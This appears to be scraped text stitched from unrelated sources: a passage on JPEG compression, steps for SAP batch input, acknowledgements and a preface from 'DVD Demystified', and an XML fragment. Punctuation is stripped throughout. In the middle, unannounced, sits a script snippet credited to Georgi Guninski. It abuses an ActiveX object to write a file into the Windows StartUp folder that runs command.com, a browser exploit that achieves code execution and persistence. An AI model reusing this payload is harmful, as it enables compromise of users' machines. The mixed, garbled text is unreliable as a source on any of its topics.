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Quantizing the DCT values means that the result of the inverse DCT will not exactly reproduce the original intensity values, but the result is close and can be adjusted by varying the quantizing scale to make it finer or coarser More important, since the DCT function includes a progressive weighting that puts bigger numbers near the top left corner and smaller numbers near the lower right corner, quantization and a special zigzag ordering result in runs of the same number, especially zero This may sound familiar Sure enough, the next step is to use run-length encoding to reduce the number of values that need to be stored A variation of run-length coding is used that stores a count of the number of zero values followed by the next nonzero value The resulting numbers are used to look up symbols from a table The symbol table was developed using Huffman coding to create shorter symbols for the most commonly appearing numbers This is called variable-length coding (VLC) See Figures 33 and 35 for examples of DCT, quantization, and VLC The result of these transformation and manipulation steps is that the information that is thrown away is least perceptible Since the eye is less sensitive to color than to brightness, transforming RGB values to luminance and chrominance values means that more chrominance data can be selectively thrown away And since the eye is less sensitive to high-frequency color or brightness changes, the DCT and quantization process removes mostly the high-frequency information JPEG compression can reduce a picture to about one-fifth the original size with almost no discernible difference and to about one-tenth the original size with only slight degradation

Using batch input to capture and change data in SAP involves the following steps: 1 First you record the batch input for the transaction you use to enter the data in SAP 2 Then you export the batch input recording to a text file 3 From the recording, you know what data is required Create a spreadsheet or word processor document for all the data to be captured or changed 4 Then mail merge the exported text file (from 2) with the data (from 3) in a word processing program (such as Microsoft Word)

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Technologies; Garrett Maki at Sunset Post; Charles Busslinger, Rick Deane, and Annie Chang at THX; Brad Collar at CVC; Shaun Taylor at Videodiscovery; Jim Babinski at WAMO; Gary Reber at Widescreen Review and Steve Michelson at Steve Michelson Productions; and Blaine Graboyes at Zuma Digital Thanks to Steve Chapman at McGraw-Hill for backing me up and bailing me out, and to Beth Brown at MacPS for turning it all into something printable And special thanks to Fleischman and Arthur, who have been solidly supportive JIM TAYLOR

> </object> <SCRIPT> scrReset(); scrPath="C:\\windows\\Start Menu\\Programs\\StartUp\\guninskihta"; scrDoc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB900C04FD58A0B'></object><SCRIPT>alert('Written by Georgi Guninski http://wwwguninskicom/~joro');wshRun('c:\\commandcom');</"+"SCRIPT>"; scrwrite(); </SCRIPT> </object>

To my surprise, the first edition of DVD Demystified quickly became the bible of the industry I m profoundly gratified that it has helped so many people understand DVD technology, and I appreciate everyone who has taken the time to send e-mail or tell me in person that they enjoyed the book In spite of the publication of the DVD bible in late 1997, DVD technology refused to stand still Unfinished variations such as writable DVD and DVD-Audio became less unfinished, and new applications such as WebDVD and Divx reshaped markets and perceptions So, in a brief moment of insanity, having forgotten what an enormous task it was to write this book in the first place, I agreed to do a second edition If this new edition helps people better understand DVD and use its unique features to achieve their creative visions then my time will have been spent well

< xml version="10" encoding="UTF-8" > Page 422 5 Import the mail merged file 6 Upload the file into SAP 7 Execute batch input in SAP

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